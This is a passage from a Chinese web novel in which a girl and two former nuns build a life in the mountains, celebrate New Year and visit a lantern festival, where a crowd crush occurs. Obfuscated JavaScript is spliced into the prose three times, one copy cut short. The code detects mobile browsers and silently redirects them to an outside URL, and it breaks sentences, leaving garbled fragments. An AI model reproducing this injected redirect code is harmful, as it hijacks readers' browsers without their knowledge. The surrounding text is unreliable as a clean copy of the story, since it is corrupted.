“我……我没地方去。”静心的声音小得像蚊子，“庵堂被封了，大家都散了。那两个婆子和静非听到消息早就收拾东西跑了。庵里其他师姐……也早就被师父卖掉了，就剩我一个人……” 她说着，眼泪又掉下来：“我长得丑，师父看不上，只让我干活。可现在庵也没了，我……我不知道该去哪儿……” 许娇娇心里一阵酸楚。 她想起那日在柴房后看见静心哭，想起这个胆小怯懦的小姑娘，在水仙姑的魔爪下战战兢兢活了这么多年。 “进来吧。”她伸出手。 静心愣愣地看着她，不敢相信。 “快进来，外头冷。”许娇娇又说了遍。 静心这才慢慢站起身，跟着她进了屋。 屋里，静尘看见静心，也吃了一惊。两人对望着，眼眶都红了——她们都是从那魔窟里逃出来的人。 许娇娇去厨房热了粥，又烙了几张饼。三个人围坐在火塘边，捧着热乎乎的碗，谁也没说话，可这寂静里却有种说不出的暖意。 吃罢饭，许娇娇开始安排住处。茅屋只有一间正屋，她让静尘和静心睡床上，自己打算在墙角搭个地铺。 “那怎么行？”静尘忙道，“你睡床，我打地铺。” “我是主人，我说了算。”许娇娇难得强硬一回，“师姐身子还没好利索，静心也冻得不轻，你们睡床暖和。” 她说着，已经开始铺稻草。静尘知道拗不过她，只好帮着一起收拾。 这一夜，小小的茅屋里住了三个人，竟显得格外拥挤，却也格外热闹。 静尘和静心都是勤快人。静尘会认草药，帮着许娇娇晒药、分药；静心虽然胆小，但手脚麻利，做饭洗衣打扫，样样都做得妥帖。 许娇娇总算松了一口气，有人帮忙做饭真好。 三个女子在这深山里，竟把日子过得有模有样。 可许娇娇心里那根弦，始终没松下来。 水仙姑被抓已经两个多月了，县衙那边一点消息都没有。赵秀才托 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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三人留李婆子吃了午饭。饭桌上，李婆子压低声音说：“我让二根又去打听了一回，还是没信儿。不过听说……宋县令前些日子去了府城，说是述什么职，我也不懂。可这一去就是几个月，还没回来。” 许娇娇心里一动：“府城？” “嗯。”李婆子点头，“咱村的耆老的那个侄孙，张三郎，你还记得不？在县衙做官的那个。” 许娇娇点点头：”记得。”原主小时候见过，长得十分精明能干有心计。 “他前儿不是回来了，骑着马，威风得很，他说的话还能有假？还有那个孙都头，调走了，说是调去邻县。新来的都头姓陈，面生得很。” 这消息让许娇娇更加不安。调走知情人，换上新面孔，归平县的水怕是比她想象的还要深，看来水仙姑的后台很硬。 “阿婆，”她握住李婆子的手，“往后您也少往山上跑。村里若是有人问起我们，您就说不知道。” 李婆子看着她，叹了口气：“乖囡，阿婆知道你在担心什么。可这世道……咱们小老百姓，能怎么办？” 是啊，能怎么办？ 许娇娇望着窗外灰蒙蒙的天。雪花开始飘了，细细密密的，像是要把这山、这林、这茅屋，都埋进一片纯白里。 可她心里清楚，有些事，是埋不住的。 就像雪化之后，该露出来的，终究会露出来。 送走李婆子，许娇娇站在院门口，看着雪花一片片落下。 静尘走过来，给她披了件衣裳：“小施主，进屋吧，外头冷。” 许娇娇没动，只是轻声问：“师姐，你怕吗？” 静尘沉默片刻，摇了摇头：“从前在水月庵，日日夜夜都怕。现在……反倒不怕了。” “为什么？” “因为有了你们。”静尘看着屋里透出的灯光，笑了，“从前是一个人，现在是三个人。三个人在一起，还有什么好怕的？” 许娇娇转过头，看着她的笑容，心里那块大石头，忽然轻了一些。 是啊，三个人。 兵来将挡，水来土掩。她们三个女子，在这深山里，也能把日子过下去。 雪越下越大了。 茅屋里，火光暖暖地亮着。旺财趴在门口，耳朵竖着，警惕地望着山路。 20. 第20章 山中除夕 日子如流水滑过，转眼到了大年三十。 许娇娇记得前世时，每逢过年，家里亲戚聚齐，热闹非凡。祖父坐在太师椅上，笑呵呵地给孙辈发压岁钱；父母在厨房里忙活，一个炖肉一个包饺子，香气能从灶间飘满整个院子。她呢，总是最晚回家的那个，总要熬到腊月二十九才能脱身。父母的责备电话里带着喜悦：“又这么晚！全家就等你一个！” 当时总觉得烦，嫌他们啰嗦，嫌家里吵闹。如今想来，那责备里藏着的牵挂，那喧闹里裹着的温情，都成了回不去的念想。 她站在茅屋门口，望着远山覆雪，怔怔出神。 “小施主，想什么呢？”静尘的声音从屋里传来。 许娇娇回过神，笑了笑：“没什么，就是觉得……这山里的年，和城里不太一样。” 静尘端着盆热水出来：“是不一样。城里爆竹喧天，咱们这儿……安静。” 安静。是啊，太安静了。自从水仙姑被抓，找她看病的人也少了很多，也许是山路难行，尤其又下了雪。年关将近，不管是富人还是穷人，都想安安稳稳过个好年吧！ “没有走亲访友的喧哗，没有街坊邻居的拜年声，就连爆竹声，也只在极远的山下隐隐传来，像是隔着一层厚厚的棉絮。”却是安静。许娇娇淡淡的放佛自言自语。 可这份安静里，也有别样的踏实。 水仙姑被抓真好，那个狗腿子静非也不见了踪影，少了很多麻烦，不过许娇娇心里还是有点不太踏实，那个静非曾在大雨夜冒充她害张大的媳妇一尸两命这件事，她时不时想起来心里还是一阵刺痛。 这几年，她试着根据前世的记忆配制了几款成药，家里如今切药刀、药碾子，石臼、研钵、搓丸板、但凡成药的工具都基本齐全。静尘根据她的指点帮着碾药，她则根据配方合药。忙了好些日子，才将托张记生药铺寄卖的药丸子做好。静心则帮着打打下手，看着她忙活，眼里都是好奇和惊讶已经被习以为常取代。 她又让孙二根帮忙，把秋末采的最后一批草药和这批药丸送到张记生药铺。张东家见了她的草药，又是一番称赞，给了个公道的价钱——一两三钱碎银。又托孙二根捎回了上次寄卖药丸子所得的银钱。又一包红枣、一包红糖，说是过年礼。 李婆子那边，也把替她保管的四两银子一并托孙二根带了过来，还带了几句话。 李婆子的原话是：“娇杏那边现在多了两张嘴，如今米粮价高，她一个小人也是运气好，才得了赏银。我本打算替她存着，可你看你那外甥——成日里不着家，但凡回来，不是问我要银子，就是在外头借钱。如今村子都被他借遍了，谁家还肯借他？去年借了王寡妇三百钱，人家追着他要，他倒好，跑没影儿了，最后还不是我替他还的。我这是造了什么孽，生了这么个败家子！” “如今连大郎媳妇一个小辈都指着我的鼻子骂我偏心。我要不是看在两个孙儿还小，可怜他们的娘早早走了……我为他操了多少闲心？他倒好，甩手掌柜一般，任啥也不干，那地里的荒草都长到人高了……” “罢了罢了，你将她存在我这里的银子带给她。过年了总得置办些吃食家用。但也得嘱咐她省着点用——她还小，别被人撺掇着胡乱花销了。” 许娇娇知道，李婆子这话半是体贴，半是顾虑。她那个不成器的二儿子成天在外胡混，若是知道家里藏着银子，保不准哪天就摸走了。到时候丢了钱，不但对不住娇杏，更对不住死去的许大郎夫妇。 这份细心，让许娇娇心里暖了很久。她也没白拿，让孙二根带回了一只肥硕的野兔——是她前几日在后山下的陷阱逮到的，还有静尘和静心做的米糕、芝麻糖，用油纸仔细包好。 礼尚往来。就冲李婆子这个为人，她会把她当成祖母敬着。 腊月三十，天还没亮透，三人就都起来了。 静心最先起身，轻手轻脚地生火烧水。灶膛里的火光照亮她认真的小脸——这丫头自从来了茅屋，像是换了个人，不再终日畏畏缩缩，眼里渐渐有了光。 静尘在里屋整理床铺，把被褥叠得整整齐齐。许娇娇则从箱底拿出三件新夹衣——这是她前些日子托李二根从城里捎回的布料，静尘和静心熬了几夜赶制出来的。 夹衣用的是粗蓝布，里头絮了新棉花，针脚密密实实。虽不算精致，可在这寒冬里，比什么都金贵。 “来，试试。”许娇娇把衣服递过去。 静尘接过，摸了摸厚实的夹袄，眼眶有些发红：“这……这太费布料了。” “过年嘛，总要穿点新的。”许娇娇笑道，“快穿上看看。” 静尘摸了摸她的头，语气温柔敦厚：“你年岁比我和静心都小，竟是如此聪慧……许是父母早亡吧，你这小施主早慧多智得让人惊艳。” 三人换上夹衣，互相打量着，都笑起来。 静尘穿着合身，衬得她温婉端庄；静心个子小，衣摆略长了些，可小姑娘爱惜得不得了，轻轻抚着衣襟，生怕弄皱了。许娇娇自己那件最是妥帖，蓝布衬得她小脸越发白净，眉眼间的稚气里，竟透出几分不属于这个年纪的沉稳。 “真好看。”静心小声说。 许娇娇揽过她的胳膊：“咱们都好看。” 早饭简单，热了昨夜的剩粥，就着咸菜吃了。饭后，三人开始忙活年夜饭。 静尘和面，准备包饺子——这是许娇娇教的。山里没韭菜，就用白菜拌着野葱做馅，再剁些腊肉丁提味。静心洗菜切菜，许娇娇则处理了只野鸡——这也是她在后山下的陷阱抓到的。 鸡肉用盐水泡过，去了腥气，切成小块。她想起前世爷爷教的法子，用山里采的花椒、八角，加上姜蒜，慢火炖上。不多时，肉香就飘满了屋子。 “真香啊。”静心吸着鼻子，眼睛亮晶晶的。 “一会儿还有更香的。”许娇娇笑道。 她又取出李婆子送来的腊肉，让静心切成薄片，和冬笋一起炒。笋是前几日挖的，埋在屋后雪地里，鲜嫩得很。 灶台上渐渐摆满了菜：炖鸡肉、腊肉炒笋、白菜豆腐、还有一碟煎得金黄的鸡蛋饼。最后是一大盆饺子，白白胖胖的，在沸水里翻滚。 忙活到晌午，菜都齐了。 三人把桌子搬到堂屋正中——这桌子是许娇娇用旧木板拼的，虽不平整，却也结实。碗筷摆好，菜一道道端上来，小小的桌子竟摆得满满当当。 “等等。”许娇娇忽然想起什么，从怀里掏出三个小红包。 那是她用红纸自己糊的，里头各包了二十文钱——不多，就是个意思。 “压岁钱。”她把红包递给静尘和静心，“愿咱们新的一年，平平安安。” 静尘接过红包，手都在颤：“这……这怎么使得……” “使得。”许娇娇按住她的手，“咱们是一家人。” “一家人”三个字，让静尘的眼泪终于掉下来。她连忙擦去，重重点头：“对，一家人。” 静心也哭了，抱着红包不撒手——这是她这辈子，第一次收到压岁钱。 三人正要动筷，外头忽然传来旺财的叫声，紧接着是“砰砰” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222031|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的敲门声。 许娇娇心头一紧，起身往外看。却见门口站着个身影——是李婆子的大孙子大郎，十一二岁的半大少年，脸蛋冻得红扑扑的，怀里抱着个布包袱。 “大郎？你怎么来了？”许娇娇忙开门让他进来。 大郎吸了吸鼻子，把包袱递过来：“阿婆让我送来的。说给你们添个菜。” 许娇娇接过包袱，打开一看——里头是炸丸子、炸豆腐，还有一小块熏鱼，都用油纸仔细包着。最底下还有个小酒壶，用软木塞塞着。 “阿婆说，这是二根舅舅自己酿的米酒，让你们暖暖身子。”大郎脆生生地说，“阿婆还说，她家里一摊子事，今儿走不开，等过了初五再来瞧你们。” 许娇娇心里一暖：“你阿婆家里……都好吧？” “好着呢！”大郎点点头，“二叔今日难得在家，帮着劈柴。阿婆说我舅母也能下地了，阿婆说，今年过年总算能齐整些。” 他说着，眼睛往桌上瞟了瞟，见那一桌菜，悄悄咽了口口水。 静尘忙拿了碗筷：“大郎吃了没？在这儿一起吃吧。” 大郎摇摇头：“不了，阿婆让我送了东西就回去，说家里等着我吃饭呢。” 大郎看着一桌好吃的有些腼腆的笑。 许娇娇笑了，用油纸包了两个鸡腿、几个饺子，塞进他怀里：“带回去给二郎尝尝。” 大郎眼睛一亮：“谢谢娇杏姐姐！” “路上慢点，天黑前一定到家。”许娇娇叮嘱道。 “嗯！”大郎抱着油纸包，欢欢喜喜地跑了。 三人重新坐下，看着桌上李婆子送来的菜，心里都暖融融的。 许娇娇给每人倒了点米酒，淡黄的酒液在粗瓷碗里荡漾，香气扑鼻。她端起碗：“来，咱们碰一个——愿新的一年，无病无灾，日子越过越好！” “无病无灾，日子越过越好！”三人齐声应和，碗碰在一起，叮当作响。 这顿年夜饭吃得格外香甜。没有喧闹的人声，却有温暖的陪伴；没有满桌的珍馐，却有彼此的心意。 饭后，三人收拾了碗筷，围着火塘坐下。静心拿出针线，开始缝补衣裳；静尘则拿起一本旧经书，轻声诵念。许娇娇靠在墙上，看着跳跃的火光，思绪飘远。 忽然，山下远远又传来爆竹声。 噼里啪啦，断断续续，在这寂静的山谷里回荡。 “放爆竹了。”静心抬起头，眼里映着火光。 “是啊，放爆竹了。”许娇娇轻声道。 辞旧迎新。不管旧年有多少艰难，新年总会来。 就像这山里的雪，再厚也会化；就像崖边的野草，再冷也会发新芽。 也不知那一世的父母家人都安好吧！ 而此刻，山下的落溪村里，家家户户的灯火也渐次亮起。李婆子家的堂屋里，一家人难得齐齐整整地围坐着，桌上摆着简单的饭菜，却有难得的团圆。 大郎把油纸包打开，鸡腿的香气顿时弥漫开来。二郎欢呼一声，伸手就要拿。 “慢着，”李婆子拍开他的手，把鸡腿分给两个孩子一人一个，“这是娇杏妹妹给的，要记着人家的好。” “记着呢！”大郎咬了口鸡腿，含糊不清地说，“娇杏姐姐真好。” “是妹妹，”李婆子拍了拍他的头，“娇杏比你小呢！” 妹妹也好，姐姐也罢！只要有鸡腿吃，都好！大郎一边吃一边在心里想。 李婆子望着窗外黑沉沉的山影，心里默默念叨：乖囡，愿你也能过个好年。 21. 第21章 元宵夜 出了正月十五，年才算真正过完。 这几日山里一直飘着小雪，茅屋屋檐下挂了一排冰棱子，晶莹剔透。静心早起生火烧水，不小心碰掉一根，“啪嗒”一声脆响，把自己吓了一跳。 静尘正在念经，闻声抬起头，见她手足无措的模样，忍不住笑了：“碎了就碎了，没伤着就好。” 许娇娇从屋里出来，手里拿着个小布袋：“今天十五，咱们下山看花灯去。” “看花灯？”静心眼睛一亮，“去镇上吗？” “不，去菰城。”许娇娇把布袋递给她，“城里灯会热闹，我让孙二叔带咱们去。” 静尘却有些犹豫：“这……菰城那么远，走官道更远，要想走近道，必须要乘船呢！人多眼杂的，会不会不安全？” “放心吧师姐，”许娇娇早有打算，“咱们早去早回。再说，我都跟孙二叔讲好了，他这回要赶牛车去城里送柴禾，咱们坐他车去也方便，不往人多的地方挤就是了。” 她顿了顿，又道：“我也想去城里看看，买些日用物品。如今连个像样的澡盆都没有，每次洗澡都是简单擦洗。”说到这里，她一脸无奈，“每日只用一木盆水擦身子，大冬天的又冷又不干净，真是够够的了。还要再看看有没有书肆，我想买几本书，顺便把年前没卖完的那些草药带去张掌柜那儿卖了。” 其实她还有另一层心思——在山里闷了几个月，也该出去透透气了。水月庵到现在还被官府封着，她更想打听一下消息。更何况，元宵灯会是一年中最热闹的时候，错过了实在可惜。 静尘见她心意已决，便不再劝，只道：“那咱们都穿厚些，城里虽然比山中暖和，但夜里还是冷的。” 三人收拾妥当，许娇娇特意换上李婆子送的新棉鞋，又给旺财留足了吃食，这才锁了门下山。 孙二根已经在山口等着了。他赶着辆旧牛车，车上铺了层厚厚的稻草，又垫了块旧毡子。 “娇杏，这边！”孙二根挥挥手，脸上带着憨厚的笑，“我阿姐说让我一定把你们照顾好，可不能出岔子。” 许娇娇笑着爬上车：“麻烦二根叔了。” 静尘和静心也跟着上了车，三人挤在稻草堆里，倒也不觉得冷。 牛车缓缓上路，车轮碾过积雪，发出“咯吱咯吱”的声响。 路上，许娇娇想起一事，问道：“二根叔，金桂婶的病好些了吗？” 孙二根闻言，脸上露出笑容：“好多了！多亏了你那方子，你金桂婶轻省多了。如今虽还有些疼痛，但比原先好太多了，晚上已经能睡安稳觉了。” 他转头看了许娇娇一眼，眼神里满是感激：“娇杏，你这记性真好。你阿爹的那些方子幸亏你聪慧，记得住，往后啊！你也和你阿爹一样，定能做个好郎中。” 许娇娇心里一松，眉开眼笑，一张小脸越发可爱：“多谢二根叔吉言，能帮上忙就好。这回到了菰城，我找个书肆买些纸张，我这里还记起了我爹的一个方子，比之前的那个效果更好，到时候给金桂婶换个方子，再吃吃看。” “那真是太好了，”孙二根闻言大喜。 之前已经换过方子，那个方子就很好，且药也都是普通的药材，并非多么贵重。若这回吃了这个方子，金桂能更好，他心头的担子也会轻省许多。 他将牛车赶得更加用心了。心里对已故的许大郎充满了敬意，对许娇娇也越发热情周到。 和之前一样，他们在中途换了渡船，等到菰城时，已是午后。 今日的菰城果然不同往日。还未进城，便见城门上挂了硕大的红灯笼，城墙上彩旗飘飘。进城后，街上行人摩肩接踵，两旁店铺张灯结彩，卖糖人的、吹糖画的、捏面人的，各式小摊挤满了街边，吆喝声此起彼伏。 “先去张记生药铺，”孙二根扬着鞭子“嘚嘚”了两声，“我先将你们送到生药铺，把草药送过去，然后你们先逛着，我去将木柴送完来寻你们。” “好，二根叔，这样吧！”许娇娇想了想，“二根叔你去送货，不要管我们啦！我们要在城里好好逛逛，看完花灯，我们约好的地方见。” “也好。”孙二根应了声，赶着牛车往城东走。 张记生药铺今日也格外喜庆，门口挂了两个八角灯笼，贴着红纸写的“福”字。张东家正在柜台后头打算盘，见许娇娇进来，眼睛一亮：“哟，许小娘子来了！新年吉祥啊！” “张伯伯您也新年吉祥。”许娇娇笑着行礼，让孙二根把草药搬进来。 张铺主验了货，连连点头：“晒得干脆，收拾得也干净，越发好了。这批草药，我给你算一两五钱，如何？” 许娇娇知道这价格公道，便应了下来。张铺主又拿出一包东西：“这是年节里客人送的糕饼，我留了些，给你们尝尝。” 许娇娇谢过，接过糕饼，又问了问近来什么药材紧俏。张铺主说了几样，她一一记在心里。 从生药铺出来，天色尚早。许娇娇看着孙二根驾车离开的背影，转身对静尘和静心道：“师姐，静心，咱们去趟书肆吧。” 静尘有些意外：“书肆？你要买书？” “嗯，”许娇娇点头，“想买些医书看看，再买点别的。” 静心小声问：“娇杏妹妹，书很贵的……” “我知道，”许娇娇拉了拉她的手，“咱们先看看，不一定买。” 其实她怀里揣着张东家刚给的一两五钱银子，加上之前攒的，有近六两了。这在乡下算是一笔不小的钱财，但买书……确实得精打细算。 三人沿着青石板路往前走，转过一个街角，便看见一家不大的书肆。 门面古朴，黑漆匾额上写着“墨香斋”三个鎏金大字。门口挂着一副对联：“架上文章皆锦绣，胸中翰墨自芬芳。”虽不算气派，却透着一股书卷气。 推开厚重的木门，一股淡淡的墨香混合着纸张特有的气味扑面而来。店里光线有些昏暗，一排排书架高及屋顶，上面整整齐齐码着线装书。靠窗的位置摆着张长条桌，上面摊着几本翻开的书，一位须发花白的老先生正伏案抄写着什么。 听见动静，老先生抬起头，推了推鼻梁上的玳瑁眼镜：“几位小娘子，要买什么书？” 他的声音温和，没有因她们衣着朴素而怠慢。 许娇娇上前一步，行了个礼：“老先生，我们想看看医书，还有……地理志、风物志之类的。” 老先生放下笔，站起身：“医书在左边第三排，地理风物在右边第二排。你们自己看吧，有要的叫我。” 说完又坐下继续抄写，不再打扰她们。 许娇娇道了谢，领着静尘和静心往左边走。静尘和静心都大字不识一个，两人跟在许娇娇身后，都有些拘谨。 医书区的书不少，大多是些常见的《千金方》《本草纲目》《伤寒论》之类。许娇娇随手拿起一本翻看，发现内容与她前世所知的大同小异，只是版本不同，注解有异。 她又翻了几本，忽然眼睛一亮——角落里放着一套《许氏医案》，薄薄三册，纸张已泛黄，显然有些年头了。 “许氏……”许娇娇喃喃念着，翻开扉页。 里面记载的是一个姓许的郎中的行医心得，多是些常见病的治疗案例，文字朴实，记录详实。从时间上看，这位许郎中应是百年前的人物了。 “老先生，这套书怎么卖？”许娇娇捧着书走到柜台前。 老先生抬眼看了看：“哦，这套啊……放了有十来年了，一直没人要。你要的话，给一百文吧。” 一百文！静尘和静心都暗暗咋舌。 许娇娇却觉得值。她数出钱来递给老先生，又问：“老先生，您这儿有介绍各地风土人情的书吗？还有……史书？” 老先生接过钱，认真打量了她几眼：“小娘子……竟对这些感兴趣？” “就是想多了解些。”许娇娇含糊道。 老先生神色有些诧异，他看了看许娇娇身后的静尘和静心，顿了顿，本想说点什么，随即又一笑，走到右边书架前，取了几本书出来：“这本《大越舆地纪略》是十年前编的，虽然有些地方过时了，但大体不差。这本《九州风物志》写的是各地特产风俗。至于史书……”他顿了顿，“《大越通史》太贵，要二两银子一套。你若只是想了解本朝历史，这本《大越开国纪事》比较便宜，只要三百文。” 许娇娇接过来翻看。全是繁体字，不过许娇娇前世看过很多繁体范本，这本《大越舆地纪略》里的字她勉强都认得。她仔细翻阅，只见里面详细记载了大越朝的疆域、州府、山川河流，还有各地的气候物产。她又翻到江南道菰城那一章，上面写道：“菰城，隶属江南道吴越，地处天目山余脉，东临太湖，物产丰饶，盛产丝绸、茶叶、药材……” 她又翻了翻《大越开国纪事》，里面记载大越朝已历一百七十余年，当今圣上是第七位皇帝，年号景明，登基已有十五年。 “老先生，这书里说的大越朝……以前是什么朝代？”许娇娇试探着问。 老先生愣了愣，随即笑道：“小娘子问这个啊。大越之前是大梁，大梁之前是大陈，再往前就说不清了。这书里只写大越开国以来的事，你若想了解前朝，得看《梁史》《陈史》，那些就更贵了。” 许娇娇心里有数了——这是个与她前世所知历史完全不同的时空。 她又翻了翻其他书，最后选了《大越舆地纪略》和《大越开国纪事》，加上《许氏医案》，一共花了五百文。 老先生也许是很少见年纪这么小的娘子来买书，虽然他一直在低头书写，可时不时地抬头瞄一眼许娇娇，如今见她如此爽快，神色又和悦了几分，他从柜台下拿出几本旧书：“这几本是我收来的旧书，有些破损，但不影响阅读。小娘子你若想要，五十文全拿走。” 许娇娇接过一看，是几本杂书——《农桑辑要》《家常菜谱》《女诫注释》，还有一本薄薄的《千字文》。 她心头一动，翻开《千字文》，里面果然和现代的千字文一模一样，从“天地玄黄，宇宙洪荒”开始，配有简单图解。 “这本好，”许娇娇对静尘和静心说，“你们俩正好可以学认字。” 静心怯生生地看了看书，又看看许娇娇，眼睛里闪着期待的光。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222032|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “都要了。”许娇娇又数出五十文。 老先生笑眯眯地把书包好，又送了她一刀粗纸和两支毛笔：“看小娘子是个爱读书的，这些送你。纸是次等纸，练字不心疼；笔也是普通的，初学够用了。” 许娇娇连声道谢，抱着书出了书肆。 静尘帮她分担了一些，轻声问：“娇杏，买这么多书……银子还够用吗？” “够的，”许娇娇笑道，“这些书比粮食金贵，但值得。” 她心里盘算着：六两银子，花去五百五十文，还剩五两多。够她们三人生活好一阵子了。 三人又在街上逛了逛，买了些盐、针线、灯油等日常用品。许娇娇还给静心和静尘各买了朵头花——最便宜的绢花，一朵五文钱，静尘急忙推辞，她一个尼姑，怎么可以戴花，急得脸色通红。许娇娇捏了捏静尘的手，苦口婆心地劝道：“静尘姐姐，你出家做尼姑也不是你自己愿意的呀，你那时候小，不懂事，如今水月庵都被官府查封了，庵里都没人了，你也没地方去，你是可以还俗的呀！” “是呀是呀！”静心倒是十分喜欢，她珍重地将那头花藏在怀中。以前看起来胆小卑微的姿态已经不见了。她扬起一张笑脸露出一口牙——她比许娇娇大两岁，今年十三岁。“娇杏说的对呀！静尘姐姐，我也不是自愿当姑子的，我是被我爹卖给水仙姑的。”说到这里她脸色一变：“糟了，娇杏，我的卖身契还在水仙姑手中，这可怎么得了。” 许娇娇一听，也是心里一惊，她仔细想了想道：“你先别急，我们先不想这些，等回去了我想办法。” 静尘沉默了，她从小就跟着师父在水月庵出家，后来水仙姑来了，她的师父却......死了，再后来她一直跟着水仙姑，她应该也有身契的吧？ 本来三人挺高兴，结果说到这个，大家都露出了愁容。还是许娇娇很快镇定了下来，她开导两人：“不急，车到山前必有路，我们一步一步来。总会有办法的。”两人听了许娇娇的话，也就作罢。 三人继续逛了逛，却都兴致不高了。看看天色渐晚，她们到约定的地点等李二根。许娇娇靠在墙边，迫不及待地翻开《大越舆地纪略》，如饥似渴地读起来。 原来她所在的这个世界，是一个叫大越的朝代。疆域辽阔，分十三道，下设州府县。江南道是其中最富庶的地区之一，菰城虽是小城，但因地处水陆要冲，贸易繁盛。 她又翻到介绍风俗的那一章，看到一行字：“大越承前朝旧制，士农工商，等级分明。女子十五及笄，可议婚嫁；男子二十弱冠，方可娶妻……” 街上的灯笼一盏接一盏亮起来，远远望去，整条街成了光的河流。 “真好看……”静心仰着头，眼睛都不够用了。 街边的花灯琳琅满目：有莲花灯，粉嫩的花瓣层层叠叠；有兔子灯，红眼睛长耳朵，憨态可掬；有走马灯，灯影转动，映出才子佳人的故事；还有龙灯、鱼灯、宫灯……各色各样，美轮美奂。 最引人注目的是街心搭起的一座灯楼，高约三丈，通体用彩绸和灯笼装饰，层层叠叠，璀璨夺目。灯楼下围满了人，不时发出惊叹声。 “咱们就在这边看看，别往里挤。”许娇娇拉着静尘和静心，在人群外围站定。 孙二根把牛车拴在南门口的老槐树下，已经在约好的地方等着了，见三人过来，忙笑着迎上。 “娇杏买了这么些书本，”他顺手接过许娇娇手中那摞用蓝布仔细包好的书册，掂了掂分量，眼里露出淳朴的赞许，“沉甸甸的，都是学问。” 他将书妥帖地拿好，笑容里多了几分怀念：“如今看你这样，倒真有几分你爹当年的模样。他若泉下有知，晓得小娘子这般上进，心里不知该多慰藉。” 越来越热闹，耍龙灯的队伍过来了。一条金龙在人群中蜿蜒游走，龙身里透出暖黄的光，龙眼是用红绸做的，在夜色中炯炯有神。舞龙的小伙子们赤着膀子，在寒风中腾挪跳跃，赢得阵阵喝彩。 静心看得入了迷，小脸兴奋得通红。 许娇娇也看得津津有味。这热闹的烟火气，让她恍惚间像是回到了前世的庙会。只是那时的她总是来去匆匆，很少真正停下脚步，感受这份喧闹中的温情。 正看着，忽然人群骚动起来。 “让开！让开！”几个穿着绸缎衣裳的仆从在前头开路，后头跟着一顶小轿。轿帘掀开一角，露出个十三四岁小娘子的侧脸——头戴金钗，耳坠明珠，一身锦缎在灯光下闪闪发亮。 “这是哪家的娘子？”有人低声议论。 “看这排场，定是大户人家的。” 轿子往灯楼方向去了，仆从们粗暴地推开挡路的人，引得一阵不满的嘟囔。 许娇娇皱了皱眉，拉着静尘和静心往旁边让了让。 就在这时，异变突生。 不知是谁喊了声“灯楼要倒了”，人群顿时炸开了锅。喧嚣声一阵接一阵传来，随着喊声，人群都往后撤退，后面的人往前挤，前面的人想后退，推搡间，惨叫声、哭喊声此起彼伏。 “娇杏，快走。”孙二根大喊，伸手去拉许娇娇。 22. 第22章 初遇 可人潮汹涌，瞬间就把他们冲散了。许娇娇只觉得四面八方都是人，她被推得踉踉跄跄，脚下不知踩到了什么，一个趔趄就要摔倒。 不好，许娇娇大惊，这要是摔倒了，那就会被人群踩成肉饼的！她奋力地往上窜，抓住一切可能抓到的东西，眼前全是人，哭喊声，怒吼声，大骂声，惨叫声……许娇娇吓得手脚都颤抖了，她不管不顾抓着前面人的衣襟衣袖后领往上爬，就这样被人架着双脚腾空随着人流往前挤，有人来扒拉她的胳膊，她狠心一口咬下去，那只手吃痛缩了回去。她指尖抠进布料的纹路里，借着这股拉扯的力道，双脚在混乱的人缝里胡乱蹬着，膝盖顶在那人的后腰上，硬生生将自己的上半身扒在了那人的背上。两手死死抓着那人的后衣领。她的脸贴在少年的后背上，能感受到他身上淡淡的松墨香混着上好熏香的味道，也能感觉到少年身体的僵硬和抗拒，可她顾不上这些，只是死死抓着这根“救命稻草”。期间那只被她咬过的手又要抓她，却被后面的人推着走远了。直到人群把他们推挤着走到了稍微靠边的地方，她总算能喘口气了，汗水顺着脸颊往下淌，心脏砰砰砰地剧烈跳动着。 “下来，哪里来的叫花子，给爷下来。”正在这时，一个气急败坏的声音响起。 许娇娇定睛一看，心里直道糟了。 原来刚才千钧一发之际，她随手抓了一个人的衣领，硬是爬在人家的背上被那人背了出来。 她急忙从那人的背后溜下来，嘴里也急忙道着歉，“对不住对不住，刚才人太多了，没有注意到，真对不住。”说着转身就要溜到旁边的巷子里去。 却被一只温热有力的手抓住了她的胳膊。 许娇娇抬头，对上一双喷火的眼睛。 她低头看着攥住自己胳膊的那只手——骨节分明，指腹带着薄茧，腕间系着一枚墨玉平安扣，衬得手腕愈发白皙。顺着手臂往上看，撞进眼帘的是一身月白色杭绸直裰，料子是上好的苏绣暗纹，领口袖边滚着银线，一看便知是富贵人家的公子。 少年约莫十三四岁的年纪，生得极好。眉如墨画，眼若寒星，鼻梁高挺，唇色偏淡，只是此刻那双漂亮的眼睛里满是愠怒，眉头拧成了川字，连带着精致的下颌线都绷得紧紧的。他周身透着一股矜贵的傲气，此刻正嫌恶地看着自己被许娇娇抓皱的衣领，另一只手还在轻轻拍打方才被她碰过的衣料，那副模样，像是沾了什么脏东西一般。 “哪里来的野丫头，这般不知礼数？”少年的声音清冽，却带着毫不掩饰的嫌弃，“爬在我背上还不算，竟还敢抓坏我的衣裳？这杭绸是姑苏定制的，你赔得起吗？” 